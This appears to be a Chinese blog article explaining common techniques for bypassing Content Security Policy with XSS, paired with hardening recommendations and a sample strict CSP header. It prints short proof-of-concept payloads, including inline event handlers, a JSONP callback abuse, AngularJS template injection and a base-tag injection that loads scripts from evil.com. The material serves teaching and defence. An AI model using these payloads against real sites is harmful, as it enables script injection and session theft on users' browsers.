引言
内容安全策略(Content Security Policy,CSP)是现代 Web 应用抵御 XSS 攻击的重要防线。它通过白名单机制限制浏览器可以加载和执行的资源类型与来源,从根本上降低了恶意脚本注入的成功率。然而,CSP 并非“银弹”。在实际攻防对抗中,攻击者发展出了多种绕过 CSP 的手法,而许多站点的 CSP 配置也存在可被利用的缺陷。本文将系统梳理 XSS 绕过 CSP 的常见技术路径,并给出切实可行的防护策略。
一、CSP 的基本原理回顾
CSP 通过 HTTP 响应头(或 <meta> 标签)向浏览器声明策略,常见指令包括:
script-src:限制脚本来源style-src:限制样式来源img-src:限制图片来源connect-src:限制 XHR/WebSocket 等连接目标default-src:兜底策略
例如,script-src 'self' 表示只允许加载同源脚本。若攻击者注入的 <script>alert(1)</script> 不在白名单内,浏览器将拒绝执行。但问题在于:策略配置是否足够严格?是否存在被绕过的“灰色地带”?
二、常见绕过手法
1. 利用 unsafe-inline 与 unsafe-eval
如果 script-src 中包含 'unsafe-inline',那么内联脚本(如 <script>alert(1)</script>、onclick 事件、javascript: URI)均可执行,CSP 形同虚设。同理,'unsafe-eval' 允许 eval()、Function()、setTimeout("code") 等动态执行代码,攻击者可借助这些入口注入 payload。
绕过示例:
<img src=x onerror=alert(document.domain)>
若 unsafe-inline 存在,该 payload 直接生效。
2. 利用可信域上的 JSONP 端点
当 script-src 允许某个第三方域(如 https://trusted.com)时,若该域存在 JSONP 接口,攻击者可构造:
<script src="https://trusted.com/api?callback=alert(1)//"></script>
返回内容变为 alert(1)//({...}),从而执行任意脚本。这是非常经典的 CSP 绕过方式。
3. 利用 AngularJS 等框架的模板注入
若页面引入了 AngularJS 且 CSP 允许其来源,攻击者可通过表达式注入执行代码:
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
AngularJS 会解析并执行该表达式,绕过 CSP 对 <script> 的限制。
4. 利用 base-uri 缺失进行相对路径劫持
如果 CSP 未设置 base-uri 'self',攻击者可注入 <base href="https://evil.com/">,将页面中所有相对路径的脚本请求重定向到攻击者服务器。例如原本 <script src="/js/app.js"> 会变成从 evil.com 加载,从而执行恶意代码。
5. 利用 script-src 中的通配符或 CDN 缺陷
配置如 script-src https://*.cdn.com 时,若 CDN 允许用户上传文件(如图片、JS),攻击者可上传恶意脚本并通过该 CDN 加载。此外,某些 CDN 的旧版本库存在已知漏洞,也可被利用。
6. 利用 nonce 或 hash 的复用与预测
若 nonce 值可预测(如基于时间戳生成),或同一 nonce 在多个页面/多次响应中重复使用,攻击者可通过注入带有相同 nonce 的脚本标签来执行代码。此外,若 nonce 通过 URL 参数传递且被反射,也可能被利用。
7. 利用 DOM 型 XSS 配合 strict-dynamic
strict-dynamic 允许由可信脚本动态创建的脚本执行。若页面存在 DOM 型 XSS,攻击者可借助可信脚本的上下文动态插入恶意脚本,从而绕过基于来源的白名单。
8. 利用 CSP 报告端点或 report-uri 的信息泄露
虽然不直接执行脚本,但攻击者可通过触发 CSP 违规报告,探测策略细节,为后续绕过提供情报。
三、防护策略与最佳实践
1. 采用严格 CSP 策略
- 避免使用
'unsafe-inline'和'unsafe-eval'。 - 使用
nonce或hash替代内联脚本白名单。 - 设置
default-src 'none',按需开放各指令。 - 添加
base-uri 'self'、frame-ancestors 'none'、object-src 'none'等限制。
推荐示例:
Content-Security-Policy: default-src 'none'; script-src 'nonce-随机值' 'strict-dynamic' https:; style-src 'self'; img-src 'self' data:; connect-src 'self'; base-uri 'self'; frame-ancestors 'none'; object-src 'none'
2. 对第三方资源进行严格审计
- 避免在
script-src中使用通配符。 - 对允许的 CDN 域进行安全评估,确保其不允许任意用户上传可执行脚本。
- 定期检查 JSONP 端点,尽量禁用或迁移到 CORS。
3. 防止 DOM 型 XSS
- 对用户输入进行严格编码与过滤。
- 避免使用
innerHTML、document.write等危险 API。 - 使用
textContent、setAttribute等安全替代方案。
4. 正确使用 nonce 与 hash
- nonce 必须使用密码学安全的随机数生成器,且每次响应唯一。
- 避免通过 URL 参数传递 nonce。
- 对静态内联脚本使用 hash 白名单。
5. 部署 CSP 报告机制
- 使用
report-to或report-uri收集违规报告,及时发现潜在攻击。 - 在正式启用前,先用
Content-Security-Policy-Report-Only测试策略,避免误杀。
6. 纵深防御
CSP 只是其中一层。应结合以下措施:
- 输入验证与输出编码(防 SQL 注入、XSS、CSRF 的基础)
- HttpOnly、Secure、SameSite Cookie 属性
- CSRF Token 机制
- 定期安全审计与渗透测试
- 保持框架与库的版本更新
四、总结
CSP 是抵御 XSS 的强大工具,但并非绝对安全。攻击者可通过 unsafe-inline、JSONP、框架模板注入、base-uri 缺失、CDN 滥用、nonce 预测等多种方式绕过。防御的核心在于:采用严格策略、消除内联脚本、审计第三方资源、正确使用 nonce/hash,并配合输入输出处理与纵深防御体系。只有将 CSP 与其他安全措施结合,才能有效降低 XSS 风险,构建更安全的 Web 应用。
未经允许不得转载:任鹏个人博客 » XSS 绕过 CSP 的常见手法与防护策略


朋友圈点赞图在线生成源码